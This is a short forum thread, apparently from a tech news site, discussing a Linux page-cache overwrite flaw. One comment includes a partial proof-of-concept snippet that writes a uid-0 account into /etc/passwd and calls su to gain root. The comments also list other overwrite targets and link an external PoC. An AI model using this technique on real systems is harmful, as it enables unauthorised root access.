Eh, if you can pollute page caches this won’t safe you.
replyThink modifying shared libraries, ld preload, cron, I guess on some systems /etc/passwd even.
There are a lot of files readable that should definitely not be writable.
Fair enough -- a simpler change might be to poison /etc/passwd and call `su` to a user that has uid 0, since that requires no shell code nor a readable binary, and this seems to have worked in a slightly modified POC:
reply f=g.open("/etc/passwd",0);
e="rkeene:x:0:0:System administrator:/root:/run/current-system/sw/bin/bash\n".encode()
...
g.system("/run/wrappers/bin/su - rkeene")There is a PoC that does exactly that here: https://github.com/tgies/copy-fail-c
reply